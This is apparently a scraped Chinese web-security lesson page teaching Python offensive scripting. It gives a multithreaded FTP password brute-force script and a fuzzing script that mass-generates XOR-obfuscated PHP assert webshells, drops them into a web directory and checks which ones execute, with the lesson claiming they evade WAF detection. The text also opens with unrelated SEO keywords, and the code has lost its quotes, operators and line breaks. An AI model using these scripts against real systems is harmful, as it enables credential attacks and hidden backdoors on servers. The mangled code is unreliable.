家禽养殖公司网站怎么做,wordpress apache 配置,上海十大互联网公司排名,响应式网站展示型这里写目录标题 本课知识点:学习目的:演示案例:Python开发-简单多线程技术实现脚本Python开发-利用FTP模块实现协议爆破脚本Python开发-配合Fuzz实现免杀异或Shell脚本 涉及资源: 本课知识点:
协议模块使用#xff0c;Request爬虫技术#xff0c;简易多线程技术#xff0c;… 这里写目录标题 本课知识点:学习目的:演示案例:Python开发-简单多线程技术实现脚本Python开发-利用FTP模块实现协议爆破脚本Python开发-配合Fuzz实现免杀异或Shell脚本 涉及资源: 本课知识点:
协议模块使用Request爬虫技术简易多线程技术编码技术Bypass后门技术
学习目的:
掌握利用强大的模块实现各种协议连接操作(爆破或利用等)配合Fuzz吊打WAF等
演示案例:
Python开发-简单多线程技术实现脚本
queuethreading模块使用
Python开发-利用FTP模块实现协议爆破脚本
1.ftplib模块使用 2.遍历用户及密码字典 3.尝试连接执行命令判断
python里面基本上都有相对应的支持协议模块的库我们就可以使用相关的库进行相关协议的连接
我们启动ftp服务器到时候进行连接测试 ftp软件这边是可以看到日志的到时候我们爆破的时候可以看一下有没有登录日志看一下是不是正常的 我们在爆破的时候要先把账号密码准备好再去连接他 这个就是一个很正常的连接情况 服务器对外的服务端口是可以更改的
import ftplib # 导入ftplib模块
import threading # 导入threading模块实现多线程
import queue # 导入队列模块配合多线程编程,能够在多线程中直接使用,可以使用队列来实现线程间的同步
import sys# 爆破ip,端口用户名密码字典
def ftp_brute(ip,port):ftp ftplib.FTP() # 创建ftp的操作类ftp.connect(ip, int(port)) # 连接的ftp 设置ip和端口(ftp服务器默认的端口是21)# .empty()如果队列为空返回 True否则返回 Falsewhile not q.empty(): # while 循环 not(非反转) 真为假假为真user_pass q.get() # 获取队列timeout等待时间list user_pass.split(|) # split() 拆分字符串等到的是一个列表username list[0] # 用户名password list[1] # 密码# print(f{username} | {password})try: # 如果连接的用户名或密码错误就会报错这个做个异常处理ftp.login(username,password) # 连接的用户名密码# ftp.retrlines(list) # 获取FTP服务器上的文件信息print(f连接成功账号{username}密码{password})except Exception as e:# print(f连接失败{username}|{password})passif __name__ __main__:try:ip sys.argv[1] # 接收外部传进来的第一个参数ip如192.168.1.5port sys.argv[2] # 接收外部传进来的第二个参数端口如21userfile sys.argv[3] # 接收外部传进来的第三个参数用户名字典,如ftp-user.txtpassfile sys.argv[4] # 接收外部传进来的第四个个参数密码字典,如ftp-pass.txtthreading_num sys.argv[5] # 接收外部传进来的第五个参数创建的线程数建议5-10except IndexError as e:ip 192.168.1.5port 21userfile ftp-user.txtpassfile ftp-pass.txtthreading_num 5passq queue.Queue() # 创建队列for username in open(userfile): # ftp-user.txt 就是一个简单的用户名字典自己创建一个或在网上下载都可以for password in open(passfile): # 遍历密码字典username username.replace(\n, ) # 将换行替换为空password password.replace(\n, )q.put(username | password) # 向队列中插入元素用户名与密码# 创建多线程这个循环的次数越多创建的线程的次数就越多线程不是越多越好,建议5到10个for x in range(int(threading_num)): # range() 创建一个数字序列只写一个参数num就是从0开始创建到num-1的序列如0-9t threading.Thread(targetftp_brute,args(ip,port)) # 创建线程对象target执行目标任务名t.start() # 启动线程让他开始工作通过ftp模块的学习大家可以去写个其它协议的比如mysql或者sqlserver的模块打上去就完事了就可以用这个模块进行连接操作
Python开发-配合Fuzz实现免杀异或Shell脚本
1.免杀异或shell原理讲解及开发思路 (参考及举例: !?等) 2.基于Fuzz思路生成大量Payload代码并有序命名写入网站文件中 3.基于多线程实现批量访问shell文件并提交测试是否正常连接回显
‘!’ ‘^’ 经过异或运算之后结果为a与后面的ssert形成assert()函数执行后门。或者是每个字母都进行异或运算最后形成执行函数
?php $a(!^).ssert;$a($_POST[x]);? // assert()这个就是网上说的无字符后门
import requests # 这个模块是来发送网络请求的
import threading # 导入threading模块实现多线程
import queue # 导入队列模块配合多线程编程,能够在多线程中直接使用,可以使用队列来实现线程间的同步def create_shell():while not q.empty(): # while 循环 not(非反转) 真为假假为真filename q.get() # 获取队列url fhttp://127.0.0.1/x/{filename} # 定义请求的URLdata { # 定义请求的参数x:phpinfo(); # phpinfo()方法可以打开phpinfo页面里面包含一些PHP的版本、扩展之类的信息}try:result requests.post(url,datadata).content.decode(utf-8) # 使用requests模块发送post请求 .content 获取返回的结果 .decode(utf-8)指定解析的编码格式if phpinfo() in result: # 判断返回的源代码中是否包含phpinfo()这个字符串有就是请求成功了后门程序可用没有就是失败print(filename |ok)# else:# print(filename |no)except Exception as e:passif __name__ __main__:q queue.Queue() # 创建队列for i in range(1, 127): # ASCII值的范围就是1-127for ii in range(1, 127):payload chr(i) ^ chr(ii) # chr()方法将数字转换为ASCII值对应的字符code ?php $a( payload ).ssert;$a($_POST[x]);? # 定义后门代码filename str(i) xd str(ii) .php # 定义文件路径q.put(filename) # 向队列中插入元素文件名# 这里要改成自己的phpStudy路径x这个文件夹是要自己创建的with open(fF:/phpStudy/PHPTutorial/WWW/x/{filename}, a) as f: # 读取文件a 文件不存在就会创建,如果已经存在就在后面追加内容f.write(code) # 向文件写入后门代码print(f正在生成文件:{filename})print(q.get())# 创建多线程这个循环的次数越多创建的线程的次数就越多线程不是越多越好,建议5到10个for x in range(10): # range() 创建一个数字序列只写一个参数num就是从0开始创建到num-1的序列如0-9t threading.Thread(targetcreate_shell) # 创建线程对象target执行目标任务名t.start() # 启动线程让他开始工作这个后门是WAF查杀绝对找不出来的
涉及资源:
Webshell免杀绕过wafhttps://blog.csdn.net/weixin_43263566/article/details/129391167 fuzzdbhttps://github.com/zhanye/fuzzdb fuzzDictshttps://github.com/stemmm/fuzzDicts Webshell免杀绕过wafhttps://www.cnblogs.com/liujizhou/p/11806497.html python ftplib模块https://www.cnblogs.com/kaituorensheng/p/4480512.html PHP异或https://blog.csdn.net/qq_41617034/article/details/104441032